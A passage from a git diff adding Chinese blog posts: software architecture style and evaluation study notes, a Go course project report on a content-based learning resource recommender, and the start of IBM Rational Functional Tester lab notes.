面的过滤器向其“推入”或“写入”结果 + +#### 管道过滤器的类型 + +**管道-过滤器的类型:管线(pipeline,如UNIX命令链),有名管道 (namedpipes,如文件,这样做的目的是为了限制数据流传输的方式)** +> 管线是把过滤器严格限制为单输入、单输出的类型。这样,系统的拓扑结 构只能是线性的序列。多数管道-过滤器的应用属于这种简单结构。 +> 有名管道是过滤器之间通过有名称的管道(例如文件)进 行数据传送的系统。有名管道限制了过滤器之间数据传 送只能发生在已经命名的管道中 +> **风格不变性:每次加工完成之后, 过滤器都会统一回到的原始等待状态** + +> 独立性:设计和使用不对其相连的任何过滤器实施限制。 + +#### 管道过滤器的优点 + +1-系统可以通过用户实施构件交换或改变处理 步骤进行重组,以适应新的需求。 + +2-系统可以利用构件独立性,通过更换和添加构件来维 护和升级。 + +3-具有明确独立输入/输出关系(即不变性)的构件很 容易实现重用。 + +4-系统具有自然的并发特性 + +5-能够支持快速原型系统的设计实现。 + +6-有清晰的拓扑结构 + +> 它允许设计者将一个系统的整体输入/输出行为理解为各个独立过滤器行为的一个简单的合成。 (2)该体系结构支持重用。(3)维护系统和增强功能容易。 + + +#### 管道过滤器的缺点 + +1-共享状态信息的代价高而且不灵活,因而不适于需要 共享大量数据的应用设计【如大数据应用】。 + +2-不适应交互式应用系统的设计和运行。过滤器是对输 入的批量转换处理,由于限制了每一批数据的输入个数、 形式、时间,从而限制了输出的形式,该类系统特别不 适于设计交互式应用。 + +3-由于构件之间通过特定格式数据的流动而支持相关的 处理工作,因此数据格式的设计和转换是这类应用系统 设计中的主要方面 + +4-难以进行错误处理 + +5-希望通过本风格所具有的并行运行特征而 获得高运行效率,这往往是行不通的。 + + +``` +例1.一个典型的管道-过滤器体系结构的例子是Unix shell程序。Unix既提供一种符号,以连接各组成部分 (Unix的进程),又提供某种进程运行时机制以实现管道。 例2.另一个著名的例子是传统的编译器。在该系统中, 一个阶段(包括词法分析、语法分析、语义分析和代码生 成)的输出是另一个阶段的输入 + +``` +> (1)容易导致批处理方式。(2)在维护或者响应两个分离但相关的数据流时,需进 行同步。(3)增加了分析与编码的工作量,增加了复杂性,降低了性能 + + +#### 管道过滤器的特征/词汇表 +``` +词汇表是[构件=过滤器;连接件=管道] +``` + +特征: + +**其一,过滤器一定是独立的实体,即各个过滤器之间不能 共享状态。** +**其二,过滤器与其连接的上下游过滤器相互独立** + + +#### 管道过滤器的种类 + +> 管线、有名管道和受约束的管道 三类。 +> 管线限制过滤器的拓扑结构只能是线性序列。 +> 受约束的管道限制在管道中流动的数据量。 +> 有名管道要求在两个过滤器之间流通的数据经过严格地 定义(如文件)。 + +### 数据抽象和面向对象组织风格(Data Abstraction and Object + +> 将数据和操作进行抽象和封装,形成对象,并通过对象之间的交互来实现系统的功能。数据抽象风格是特化(变异)后的面向对象 风格。数据的表示及其相关操作被封装为抽象数 据类型(Abstract Data Type,ADT)。 + +> 抽象数据类型ADT只具有封装性,不具有继承性和多态性 + +构件:对象 +连接件:通过过程调用(方法)来实现 + +#### 数据抽象和面向对象组织风格的优点 + +(1)隐藏实现细节,在不影响其使用者的情况下 允许修改对象。 (2)对子程序和数据的包装使得设计者可以分解 问题,把系统转化为交互的代理集合来处理。 (3)对象可以是多线程的可以是单线程的。 + +#### 数据抽象和面向对象组织风格的缺点 + +(1)过程/方法调用依赖于对象标识。一个对象必 须知道与之交互的对象标识。 (2)不同对象的操作关联性弱。 + +### 隐式调用/消息(Implicit Invocation/Messaging) + +> 通过解耦合系统的组件,使得系统的各个部分可以独立地进行操作,并通过消息传递来实现系统的协作和协调。 +> **不直接调用一个过程/方法,而是声明或广播可调用 的过程/方法对应的事件** +> 系统中的其他构件可以把某一过程/方法注册为与它所关心 的事件相关联。 +> 当某一事件发生时,系统会调用所有与之相关联的过程, 即对一个事件的激励将隐式地导致了对其他模块的过程调用。 这样,事件声明或广播实际上就起到了与“隐式调用”事件进行的作用。 + +构件:模块。 +连接件:对事件的显式或隐式调用。 + +#### 隐式调用/消息的优点 +(1)事件广播者不必知道哪些构件会被事件影响,构件之间关系弱。 +(2)隐式调用有助于软件复用。 (3)系统的演化、升级简单。 + +#### 隐式(事件)调用 + +(1)构件对系统进行的计算放弃了主动控制。 在有共享数据存储的系统(如文件系统或数据库系统) 中,资源管理器的性能和准确度成为十分关键的因素。 (2)很难对系统的正确性进行推理,因为声明或广播某个 事件的过程的含义依赖于它被调用时的上下文环境。 + +#### 隐式(事件)调用的应用 + +- 在程序设计环境中用于集成各种工具的设计。 - 在数据库管理系统用于检查数据库的一致性约束条件。 - 支持在用户界面中分离数据和表示。 + +### 分层系统风格 + +> 将系统分解为一系列层次结构,每个层次负责不同的功能和服务,并通过接口进行交互和通信,实现系统的分层和模块化。 + +#### 分层系统风格的优点 +(1)由于对层次的邻接层数目进行了限制,所以系统易于改进 和扩展。 (2)每一层的软件都易于重用,并可为某一层次提供多种可互 换的具体实现。 (3)分层系统所支持的设计体现了不断增加的抽象层次,这样, 一个复杂问题的求解被分解为一系列递增的步骤。 + +#### 分层系统风格的缺点 + +系统的分层可能会带来效率方面的问题。 (2)应当如何界定层次间的划分是一个较为复杂 的问题。 + +#### 分层系统风格的应用 + +分层系统常用于通信协议。最著名的分层风 格的体系结构的例子是ISO的OSI模型。 + +### 仓库(Repository) + +> 将系统中的数据集中存储到一个中央仓库中,通过仓库的接口来对数据进行访问和操作,实现对数据的管理和控制。 + +构件:一个中央数据结构(可表示当前状态;)一个独立构 件的集合,它对中央数据结构进行操作。 + +#### 仓库(Repository)的优点 +(1)便于多客户共享大量数据,它们不用关心数据何时有 的、谁提供的、怎样提供的。 (2)既便于添加新的作为知识源代理的应用程序,也便于 扩展共享的黑板数据结构。 + +#### 仓库(Repository)的缺点 + +不同的知识源代理对于共享数据结构要达成一致,而 且,这也会造成黑板数据结构的修改较为困难。 (2)需要一定的同步/家锁机制保证数据结构的完整性和 一致性,增大了系统复杂度。 + +#### 仓库(Repository)的应用 +例如,语音识别、模式识别、三维分子结构建模。 +适用场景:它的数据和处理分布在一定范围内的多个构件上,构件之间通过网络连接。 + +### 客户/服务器(Client/Server)风格 + +服务器构件:向多个客户提供服务,它永远处于激活状态,监听用 户请求。 +客户构件:向服务器构件请求服务 +连接件:某种进程间通信机制。理想情况下,这种访问是透明的,即客户和服务器可以运行在 同一台机器上,也可以跨进程、跨机器进行 + +#### 客户/服务器(Client/Server)风格的优点 + +(1)有利于分布式的数据组织。 (2)构件间是位置透明的,客户和服务器都不用考虑对方的运行位置。 (3)便于异质平台间的融合与匹配,客户和服务器可以运 行不同的操作系统。 (4)具有良好的可扩展性,易于对服务器进行修改、扩展 +或增加服务器 + +#### 客户/服务器(Client/Server)风格的缺点 + +客户必须知道服务器的访问标识,否则很难知道有哪些服务 + + + +#### 连接方向 + +连接的方向是从客户端指向服务器,这是主连接方向。在复杂系统的某些情 况下,要求从服务器指向客户端(即这之间建立反向通 信)。例如,服务器需要将公共信息发送给所有的客户, 即所谓消息广播。 + + +### 浏览器/服务器风格 + +浏览器/服务器(Browser/Server,B/S)风格具体结构为:浏览器 +/Web服务器/数据库服务器。 + +#### 浏览器/服务器风格优点 +(1)有利于在限定的功能范围内查询组织相 关信息(2)应用程序的维护量大大减少 + +#### 浏览器/服务器风格的缺点 +(1)缺乏对动态页面的支持能力,没有有效的数据库处理 功能。 +(2)系统扩展能力差,安全性难以控制。 (3)系统响应速度慢。 (4)数据的动态交互不强,不利于在线事务处理应用 + + +### 解释器(Interpreter) + +> 通过定义一种语言和相应的解释器,将输入的语句或表达式转换为可执行的指令序列,并执行这些指令序列,实现对输入的解释和执行。 + +源程序代码处理构件:处理源程序代码,可以是编辑器或产生源代码的程序。 + +程序伪代码处理构件:这个构件负责将源程序代码转换成可以快速被解释执行的中间代码。 + +控制构件:这个构件负责处理解释器的输入和输出,向解释器提供输入,并处理解释器的输出 + +解释器构件:分析代码的结构和语义,按照语义的要求完成响应的动作。例如,它可以执行中间代码、计算表达式、控制流程、处理异常等。 + +连接件:过程调用和直接存储器访问。 + +#### 解释器(Interpreter)风格的优点 +(1)有助于应用程序的可移植性和程序设计语言的跨平台能力。 (2)可以对未实现的硬件进行仿真。 + +#### 解释器(Interpreter)风格的缺点 + +额外的间接层次带来了系统性能的下降。 + +#### 解释器(Interpreter)风格的应用 + +``` +程序设计语言的编译器,比如Java、Smalltalk等。 基于规则的系统,比如专家系统领域的Prolog等。 脚本语言,比如Perl等。 +``` + +### 异质体系结构 + +### 过程控制(Process Control) + +> 通过定义一组规则和流程来控制和管理系统中的业务流程和操作,实现对系统的流程和行为的控制和管理。 + +### 分布式系统(Distributed System) + +> 将系统分解为多个节点,并通过网络连接进行通信和协作,实现系统的分布式和协同工作。 + +### 体系结构风格的好处 +- 促进了设计重用。 +- 代码重用 +- 标准化的风格 + +体系结构风格解决的问题: +``` +1.设计词汇表是什么?或者构件和连接件的类型是什么? 2.可容许的结构模式是什么? 3.基本的计算模型是什么? 4.风格的基本不变性是什么? 5.其使用的常见例子是什么,或具体应用案例是什么? 6.使用此风格的优缺点是什么? +7.其常见特例是什么? +``` + +## 软件体系结构设计方案 + +### 基于数据共享的设计策略 + +> 对如下内容的支 持比较弱的:总体算法改变、数据表示修改和(构件的)重用。 对如下内容的支持比较强:由于凭借对共享数据的直接访问, 这种方案可以获得相对来说的好性能,同时,新增加的处理功 能也相对而言比较容易访问这些共享数据。 + + +### 基于抽象数据类型的结构设计方案 + +> 在不影响性能的情况下,本方案支持数据表 示的更改,而且支持重用。此方案中,构件之间的相互作用与 模块自身紧密相关,所以,总体算法的更改或增加新功能可能 会引起现存系统的重大变更。 + +### 基于隐式调用的设计方案 + +> 对于新功能的增加尤其便利,但同样也会遇到与共享数据方 案类似的问题:对数据表示的修改和构件重用的支持不力。特别地,这种 方案可能会过分地依赖额外运行处理构件。 + + +### 基于管道与过滤器的设计方案 + +> 许在处理流程中增加新过滤器,因此,一方面,该方 案支持软件重用,支持对处理算法和功能的修改。另一方面,设计数据表 示的决策将依赖于沿管道传输的数据格式。因此,根据上下游需要交换的 数据格式设计要求,可能存在额外的设计工作需要处理,如为了管理数据,需要增加解析和反解析(parsing and unparsing)数据的构件。 + + +## 软件体系结构评价 + +> 软件体系结构评价是指对软件体系结构进行分析和评估,以评估其质量和可行性。 + +**软件体系结构评价-本质上为“基于软件规格说明书的测试”这一静态测试或验证领域。** + +**软件体系结构评价的特点-仿真模拟或者场景+走查** +**软件体系结构评价的可用技术-仿真+模拟或者场景+走查总之是以人的头脑来模拟计算机** +**核心:测试用例可以通过场景来获取。测试“执行”过程可采用人脑+场景的方式来走查。测试覆盖准则则是源于属性效用树来产生。** + +验证的对象是**软件体系结构设计的结论** +验证的目标是**验证需求模型中的非功能性需求**是否被软件体系结构设计结论考虑进来了、设计 +效用树中的叶子节点是**需要验证的各种非功能性需求**,也是**场景产生的依据** +效用树中的一级指标是**需要验证的非功能性需求** +效用树中的二级指标是**一级指标的进一步细化,叶子节点就是其实例**。 + + + +#### ATAM + +- 系统响应能力 +- 系统长时间运行能力 +- 系统正常运行的时间比例 + +**敏感点 是一个或多个构件(和/或构件关系)的性质,该性质对于实现特定质量属性响应是关键的。敏感点告诉设计者 或分析师将关注点放在哪里以及何时去尝试理解一个质量目标的实现。** + +**权衡点 权衡点是这样一种性质,该性质影响了多个属性且是 多个属性的敏感点。例如,修改加密层对于安全性和性能两 者可能会产生有意义的影响。权衡点对于设计者构造一个软 件体系结构而言,是最关键的决策。** +**特点:** 评估SA对特定质量目标的满足情况,揭示质量目标之间的相互作用和权衡。 +**质量属性效用树** + + +#### SAAM + +**专用于对SA的可修改性和功能性进行评估** + +#### ARID +**适用于SA的可行性和适宜性进行测试,及对尚不完全的SA进行评估** + +#### ATAM/SAAM/ARID的比较 + +涉及的质量特性: + +> ATAM不面向任何具体质量属性。更侧重可修改性,安全性,可靠性性能,SAAM主要测试可修改性和功能。 + +分析的对象: + +> ATAM分析的对象是构架方案或样式,阐述过程,数据流,使用,物理或者模块视图的构架文档。构架文档,特别是阐述逻辑模块或者模块视图的部分。 + +采用的方法: + +> ATAM 采用效用树。SAAM利用对场景的集体讨论。 + +## 软件体系结构形式化方法 + +> 软件体系结构的形式化方法是指使用数学和形式化语言来描述、验证和分析软件体系结构.常见的软件体系结构的形式化方法包括Petri网、时序逻辑、模型检测、形式化规范和验证等 + +- 基于数据共享的设计策略 + +> 以功能为基础的模块分解方式,基本上不支持软件重用。 + +- 基于抽象数据类型的结构设计方案 + +> 数据将不再被所有的计算构件直接去访问(即数据不再基于共享文 件的方式,而是设计一个接口,通过该接口去访问数据,所以这 里采用的是基于抽象数据类型的方案)设计中的构件(在此为 模块)封装了数据与操作(抽象数据类型的思想),每个构件提 供相应的接口,并且每个构件管理的数据只允许通过接口规定的 方式访问(如通过过程调用方式访问)。 +> 整个软件结构易于修改,即数据表示方式和算法设计的改变,可 在独立的构件(模块)中进行,不会对模块之间的接口产生影响;能够比方案一更好地支持软件重用。 + +- 基于隐式调用的设计方案 +> 易于支持功能的增强,通过数据变化时所引发的调用,新增构件 (模块)能方便地增加到整个系统之中;易于处理数据修改,这是因为数据表示的修改与计算相分离; ·取决于外部事件对隐式调用模块的隐式调用策略,可支持良好的软件重用性。 +> 隐式调用模块的处理顺序难以控制; · 采用这种数据驱动方式的模块分解,较其他方案而言,将花费更多的时间。 + +- 基于管道与过滤器的设计方案「基于开源软 件开发应用的最佳选择」 +> 维护了一种直觉的处理流程; ·分离的过滤器对软件重用给予良好的支持; ·整个软件结构易于加入新功能(可在处理序列中加入新过滤器); ·过滤器的逻辑独立使对修改更加容易。 +> 通过修改设计,以支持交互作用几乎是不可能的; ·空间的使用效率差,每个过滤器必须将全部数据拷贝到其输出端 + +### 软件体系结构形式化方法总结 + +- 基于数据共享的面向功能的组织结构设计方案 + +> 对如下内容的支持比较弱的:**总体算法改变**、**数据表示修改**和 **(构件的)重用**。 对如下内容的支持比较强:由于凭借对共享数据的直接访问, 这种方案可以获得相对来说的好性能,同时,新增加的处理功 能也相对而言比较容易访问这些共享数据。 + +- 抽象数据类型方案 + +> 支持数据表 示的更改,而且支持重用.总体算法的更改或增加新功能可能 会引起现存系统的重大变更。 + +- 隐式调用方案 + +> 对于新功能的增加尤其便利,但同样也会遇到与共享数据方 案类似的问题:对数据表示的修改和构件重用的支持不力。特别地,这种 方案可能会过分地依赖额外运行处理构件。 + +- 管道与过滤器方案 + +> 允许在处理流程中增加新过滤器,因此,一方面,该方 案支持软件重用,支持对处理算法和功能的修改。另一方面,设计数据表 示的决策将依赖于沿管道传输的数据格式。因此,根据上下游需要交换的 数据格式设计要求,可能存在额外的设计工作需要处理,如为了管理数据,需要增加解析和反解析(parsing and unparsing)数据的构件 + +- 闭环控制循环解决方案 + +> 适合于简单机器人系统,不适合于复杂机器人系 + +- 分层组织模型解决方案 +> 由分层策略定义的抽象层提供了成功的组织构件的框架(关于每个 层的作用是精确的)。 + +> (1)如果在实现中为详细求精而需要增 加更多的层次时,该框架就会被破坏。(2)关于机器人应该具备的通信模式 + +- 基于隐式调用 + +> 更适合于复杂的机器人项目 + +- 黑板模型解决方案 +> 黑板模型的体系结构能为任务的合作建立基础,既能 表示协同,又能以灵活的方式处理不确定性,这主要可归功于在黑板模型中采用的隐式调用机制。 + diff --git a/_posts/2023-5-30-test-markdown.md b/_posts/2023-5-30-test-markdown.md new file mode 100644 index 000000000000..0965c031e7ea --- /dev/null +++ b/_posts/2023-5-30-test-markdown.md @@ -0,0 +1,154 @@ +--- +layout: post +title: 面向对象软件工程 +subtitle: +tags: [软件工程] +comments: true +--- + +### 1.项目概述 + +个性化学习资源推荐系统是一个为用户提供针对性学习资料推荐的系统。本项目采用前后端分离的架构,后端使用Go语言编写,前端使用JavaScript编写,使用MySQL作为数据存储。项目实现了基于内容的推荐算法,根据用户的交互行为为用户推荐相似度较高的学习资源。 + +### 2.数据库设计 + +1. 学习资源 + + 学习资源表(resources) + + ```sql + CREATE TABLE `resources` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `name` varchar(255) NOT NULL, + `description` text NOT NULL, + `url` varchar(255) NOT NULL, + `tag` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + + ``` + + 这段SQL代码创建了一个名为 "resources" 的表,包含五个列: + + - "name":一个必填字段,用于存储资源的名称。 + - "description":一个必填字段,用于存储资源的详细描述。 + - "url":一个必填字段,用于存储资源的 URL。 + - "tag":一个必填字段,用于存储资源的标签或分类。 + + 该表使用 InnoDB 存储引擎和 utf8mb4 字符集,后者支持比标准 utf8 字符集更广泛的 Unicode 字符。 + +2. 用户行为表(user_actions): + + 该表用于记录用户与学习资源之间的交互行为,包括ID、用户ID、资源ID和行为 + + ```sql + CREATE TABLE `user_actions` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `user_id` int(11) NOT NULL, + `resource_id` int(11) NOT NULL, + `action_type` varchar(50) NOT NULL, + PRIMARY KEY (`id`) + ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4; + ``` + +### 3.推荐算法 + +项目实现了基于内容的推荐算法,核心思路如下: + +1. 获取用户最近交互的资源:遍历给定的用户行为列表,构建一个包含最近访问过的资源ID的集合。 + +2. 计算资源之间的相似度:遍历所有资源,针对每个资源,提取其特征(如名称、描述、标签等),然后与用户访问过的资源进行比较,计算它们之间的相似度得分。相似度得分的计算方法是:统计两个资源特征的交集大小,并将其除以两者特征集合大小的平方根。这个值越大,则说明两个资源越相似。 + +3. 推荐资源,并按评分排序:遍历所有资源,对于每个资源,首先排除那些最近被用户访问过的资源;然后,针对每个用户对该资源的交互历史,给出一个初始的评分;最后,乘上前面计算得到的相似度得分,得到最终的评分。根据评分大小将所有资源排序,返回前N个资源作为推荐结果。 + + ```go + func GetRecommendations(userActions []UserActionModel, resources []ResourceModel, numRecs int) []ResourceModel { + // 遍历用户与资源之间的交互记录,获取用户最近交互的资源,并保存在字典 recentResources 中。 + recentResources := make(map[int]bool) + for _, action := range userActions { + if _, ok := recentResources[action.ResourceID]; !ok { + recentResources[action.ResourceID] = true + } + } + + // 对每个资源计算它们之间的相似度,并保存在字典 simScores 中。 + simScores := make(map[int]float64) + resourceFeatures := make(map[int]map[string]bool) // 资源的特征,例如标签、描述等 + for _, r := range resources { + resourceFeatures[r.ID] = make(map[string]bool) + for _, f := range []string{r.Name, r.Description, r.Tag} { + resourceFeatures[r.ID][f] = true + } + + // 计算相似度 + simScore := 0.0 + for id := range recentResources { + if id == r.ID { + continue + } + featureCount := 0 + for f := range resourceFeatures[id] { + if resourceFeatures[r.ID][f] { + featureCount++ + } + } + simScore += float64(featureCount) / math.Sqrt(float64(len(resourceFeatures[id]))*float64(len(resourceFeatures[r.ID]))) + } + simScores[r.ID] = simScore + } + + // 对所有资源进行评分,并按照得分排序,返回前 numRecs 个推荐结果。 + recommendations := make([]ResourceModel, 0) + for _, r := range resources { + if _, ok := recentResources[r.ID]; ok { + continue // 排除最近用户交互过的资源 + } + score := 0.0 + for _, action := range userActions { + if action.ResourceID == r.ID { + score += 1.0 // 用户曾经对该资源进行过交互,给予较高评分 + } + } + score *= simScores[r.ID] // 加权得分 + recommendations = append(recommendations, ResourceModel{ + ID: r.ID, + Name: r.Name, + Description: r.Description, + Url: r.Url, + Tag: r.Tag, + Score: score, + }) + } + sort.Slice(recommendations, func(i, j int) bool { return recommendations[i].Score > recommendations[j].Score }) + if numRecs < len(recommendations) { + return recommendations[:numRecs] + } else { + return recommendations + } + } + + ``` + +我们实现的关于资源特征的处理方式比较简单,只是将名称、描述和标签拼接在一起后以字符串的方式进行比较。如果使用更加复杂的特征提取方法,如人工标注、文本分析或深度学习等,可能会得到更好的推荐效果。 + +### 4.项目架构和技术栈 + +本项目采用MVC(Model-View-Controller)架构,主要使用了以下库: + +1. spf13/cast:用于处理类型转换,例如将浮点数转换为整数等。 +2. go.uber.org/zap:提供了一种高性能的日志库,用于记录项目运行过程中的日志信息。 +3. gin-gonic/gin:是一个用Go语言编写的HTTP Web框架,用于处理HTTP请求和路由分发,简化了Web开发过程。 +4. golang-jwt/jwt:用于实现JSON Web Token(JWT)的生成和验证,提高了项目的安全性。 +5. gorm:是一个优秀的Go语言ORM(Object-Relational Mapping)库,用于简化数据库操作,提高了代码的可读性和可维护性。 + +以下是各库在项目中的应用及解决的问题: + +1. **spf13/cast**:在项目中,遇到要将不同数据类型进行转换的情况。例如,将字符串类型的数字转换为整数类型。于是使用spf13/cast库能简化这些类型转换操作,提高代码的可读性。 +2. **go.uber.org/zap**:项目运行过程中,会遇到异常情况或需要记录关键信息。使用go.uber.org/zap库,可以方便地记录日志,帮助快速定位和解决问题。 +3. **gin-gonic/gin**:项目中需要处理用户的HTTP请求并根据不同的请求路径进行相应的业务处理。使用gin-gonic/gin库,可以实现高性能的路由分发和请求处理,简化了Web开发过程。 +4. **golang-jwt/jwt**:为了保证用户数据的安全性,需要对用户身份进行验证。使用golang-jwt/jwt库,可以实现JSON Web Token(JWT)的生成和验证,提高了项目的安全性。 +5. **gorm**:项目中涉及到大量的数据库操作,使用Go语言的原生SQL语句进行操作可能会导致代码冗长、难以维护。使用gorm库,可以简化数据库操作,提高了代码的可读性和可维护性。 + +### 5.总结 + +本报告详细我们组个性化学习资源推荐系统的项目概述、数据库设计、推荐算法、项目架构和技术栈。项目采用前后端分离的架构,后端使用Go语言编写,前端使用JavaScript编写,利用MySQL作为数据存储。项目实现了基于内容的推荐算法,根据用户的交互行为为用户推荐相似度较高的学习资源。通过使用多种库,项目实现了高性能、安全性和易维护性。 \ No newline at end of file diff --git a/_posts/2023-5-7-test-markdown.md b/_posts/2023-5-7-test-markdown.md new file mode 100644 index 000000000000..cd692d0c2ebd --- /dev/null +++ b/_posts/2023-5-7-test-markdown.md @@ -0,0 +1,1006 @@ +--- +layout: post +title: 软件测试-IBM Rational Functional Tester +subtitle: +tags: [软件测试] +comments: true +--- + +> https://www.ibm.com/docs/en/SSJMXE_10.5.1/docs/pdfs/Rational_Functional_Tester.pdf + +### Lab O Become Familiar with the Sample Application 熟悉示例应用程序 + +### Lab 1 Getting Started with IBM Rational Functional Tester 开始使用 IBM Rational Functional Tester + +### Lab 2 Recording a Script 录制脚本 + + +1. 打开 IBM Rational Functional Tester 软件并创建一个新项目。 +2. 在项目中创建一个新的测试用例。 +3. 选择要测试的应用程序并启动它。 +4. 在 Rational Functional Tester 中单击“记录”按钮来开始录制脚本。 +5. 在应用程序中模拟用户的行为,例如单击按钮,填写表单等。 +6. 在完成操作后停止录制。 +7. 对录制的脚本进行编辑和修改,使其符合需要。 +8. 运行测试脚本并查看结果。 + +请注意,在录制期间,确保 Rational Functional Tester 已正确配置以与应用程序集成,并且您已打开了“扫描到应用程序”选项。 + + + +### Lab 3 Playing Back a Script and Viewing Results 回放脚本并查看结果 + + +1. 打开前面创建的项目和测试用例。 + 您需要打开 IBM Rational Functional Tester,并选择相应的项目和测试用例。 + +2. 点击“回放”按钮,并选择“Java Test Script playback”选项。 + 在Rational Functional Tester界面的工具栏上,您可以看到“回放”按钮。单击该按钮并选择“Java Test Script playback”。 + +3. 运行脚本时,请确保Rational Functional Tester已正确配置以与应用程序进行集成,并且已打开“扫描到应用程序”选项。 + 在运行测试脚本之前,需要确认 Rational Functional Tester 已经完成与被测应用程序的集成,并且已在“全局设置” > “Java” 中打开扫描到应用程序选项。 + +4. 当脚本运行完成后,您将看到执行结果(通过绿色/红色标记显示)。您还可以查看详细的执行结果和报告。 + 在测试脚本运行完成后,您会在 Rational Functional Tester 界面中看到绿色或红色的标记,表示测试脚本是否成功执行完成。如果您希望查看更加详细的执行结果和报告,可以在 Rational Functional Tester 的测试结果视图中查看。 + +### Lab 4 Extending Scripts 扩展脚本 + + +1. 在 IBM Rational Functional Tester 中,创建一个新项目。 + 打开Rational Functional Tester并创建一个新项目。在“文件”菜单中选择“新建”、“项目”,然后根据需要指定项目名称和位置。 + +2. 在该项目下,创建一个新的Java测试脚本。 + 接下来,在新项目下创建一个新的 Java 测试脚本。在“测试”菜单中选择“新建”、“Java 测试脚本”。给这个测试脚本命名,并确认它被正确保存在您的项目中。 + +3. 向测试脚本中添加一些基本的测试步骤,如启动应用程序、输入文本并单击按钮等。 + 首先,您需要向测试脚本中添加一些基本的测试步骤,例如启动应用程序,输入文本并单击按钮等。这些测试步骤将成为测试脚本的基础,以便在此之后进行扩展。 + +4. 使用 Rational Functional Tester 的记录功能来记录一些新的测试步骤。 + 接下来,使用 Rational Functional Tester 的记录功能来记录一些新的测试步骤。您可以通过单击“记录”按钮来启动记录模式,然后执行您想要记录的测试步骤。一旦完成,单击“停止”按钮以停止记录模式。 + +5. 编辑测试脚本以包含新记录的测试步骤,并根据需要进行调整和修改。 + 现在,您可以编辑测试脚本以包含新记录的测试步骤。可能需要对新测试步骤进行一些修改和调整,以确保它们与先前的测试步骤协同工作。 + +6. 使用 Java 编写扩展代码,例如将测试数据读入文件、使用迭代循环运行测试等。 + 接下来,您可以使用 Java 编写扩展代码,例如将测试数据读入文件、使用迭代循环运行测试等。这些扩展代码将使测试脚本更加灵活和可复用。 + +7. 运行测试,查看结果并进行优化。 + 最后,运行您的测试,并查看其结果。如果有任何失败或错误,请查看测试日志和报告,并根据需要进行调整和优化。 + + + +### Lab 5 Using Test Object Maps 使用测试对象映射 + + +1. 在 IBM Rational Functional Tester 中,创建一个新项目。 + 打开Rational Functional Tester并创建一个新项目。在“文件”菜单中选择“新建”、“项目”,然后根据需要指定项目名称和位置。 + +2. 在该项目下,创建一个新的Java测试脚本。 + 接下来,在新项目下创建一个新的 Java 测试脚本。在“测试”菜单中选择“新建”、“Java 测试脚本”。给这个测试脚本命名,并确认它被正确保存在您的项目中。 + +3. 启动被测试应用程序,并让 Rational Functional Tester 检测该应用程序。 + 首先,启动要测试的应用程序,并确保 Rational Functional Tester 已经检测到该应用程序。您可以通过单击“Window”菜单中的“Functional Test Project Map”选项卡来查看是否正确检测到了应用程序。 + +4. 创建一个新的测试对象映射。 + 接下来,创建一个新的测试对象映射。在“测试”菜单中选择“新建”、“对象映射”,并将其命名为适当的名称。 + +5. 输入测试对象信息。 + 在测试对象映射编辑器中,输入有关测试对象的信息。该信息包括对象的类型、属性和值等。 + +6. 使用测试对象映射中的对象来创建测试步骤。 + 接下来,使用测试对象映射中的对象来创建您的测试步骤。您可以单击测试对象映射编辑器中的“插入”按钮,并选择要在测试脚本中创建的测试步骤类型。 + +7. 运行测试并查看结果。 + 最后,运行您的测试,并查看其结果。如果有任何失败或错误,请查看测试日志和报告,并根据需要进行调整和优化。 + + + +### Lab 6 Managing Object Recognition 管理对象识别 + + +1. 启动IBM Rational Functional Tester并打开被测试的Java应用程序。 + +2. 在测试脚本窗口中创建一个新Java测试脚本文件。 + +3. 让Rational Functional Tester自动识别应用程序中的对象。 + +4. 确认对象的正确识别。 + +5. 调整对象属性以进行更准确的对象识别。您可以添加、删除或编辑对象属性。 + +6. 执行测试,并查看测试结果。如果有任何失败或错误,请查看测试日志和报告,并根据需要进行调整和优化。 + +7. 测试完成后,保存并关闭测试脚本文件。 + + + +### Lab 7 Creating Data-Driven Tests 创建数据驱动测试 + + + + +1. 启动IBM Rational Functional Tester并打开被测试的应用程序。 + + - 在启动 Rational Functional Tester之前,请确保已经安装了Java JDK和Eclipse IDE。 + + - 打开Rational Functional Tester,单击File > New > Project,选择Java工程模板,在Project Name文本框中输入项目名称并单击Finish。 + + - 单击File > New > Test Script,选择Java模板创建一个新的Java测试脚本文件。在弹出对话框中,选择Test Object Map(TOM)作为对象库。然后单击Next。 + + - 选择要测试的应用程序,通过点击“Start Application”按钮来启动该应用程序。 + +2. 准备测试数据。 + + - 您可以使用Excel电子表格或文本文件来存储测试数据。将测试数据保存在文件中,并确定它们可供读取。 + +3. 将测试数据导入Rational Functional Tester。 + + - 在Rational Functional Tester中,单击File > Import > Data-Driven Test,选择要使用的测试数据文件类型(Excel、文本等)。设置好文件路径等参数,然后单击Finish来导入测试数据。 + +4. 在测试脚本中使用测试数据。 + + - 将测试数据的值分配给变量,使用for循环、if语句和其他控制流语句来操作这些变量并执行测试。 + + - 在测试脚本窗口中,找到导入的测试数据文件,在“Data Driven Scripts”视图下双击该文件,然后选择要使用的数据集并单击OK。 + +5. 执行测试,并查看测试结果。 + + - 单击Run按钮或在菜单栏中单击Run > Run As > Rational Functional Tester Test。测试运行时,测试脚本将使用指定的测试数据来执行测试步骤。 + +6. 测试完成后,保存并关闭测试脚本文件。 + + - 在测试脚本窗口中,单击File > Save to SCM。在弹出的对话框中,输入注释并单击OK。 + + + +### IBM RFT 8.5 + +#### Part 1 - Introduction + +在IBM RFT 8.5 - Part 1介绍中,您将了解以下内容: + +1. 什么是RFT? +2. RFT的特点和功能。 +3. 如何创建一个新项目。 + +##### 什么是RFT? + +RFT是IBM Rational系列测试工具之一,它提供了一个完整的自动化测试解决方案,可以用于各种类型的应用程序测试,包括Web应用程序,Java应用程序,.NET应用程序等。 + +RFT使用脚本语言,称为Rational Functional Tester Script(RFT脚本),该脚本语言基于Java编写,带有丰富的API和内置操作,可用于执行各种测试操作,例如模拟用户交互和检查应用程序状态。 + +##### RFT的特点和功能 + +RFT具有以下功能: + +- 自动化GUI测试 +- 支持多种技术,例如Java,HTML,Net,Oracle等 +- 可以同时运行多个自动化测试 +- 提供记录和回放测试脚本的功能 +- 提供强大的测试结果分析功能 +- 直接集成到Eclipse和IBM Rational Application Developer (RAD) 中。 + +RFT脚本支持不同的任务,包括自动化测试执行、数据操纵、异步任务调度、异常处理等。 此外,RFT还提供了可扩展性和定制性,可以根据特定需求创建自定义插件和微件。 + +##### 如何创建新项目 + 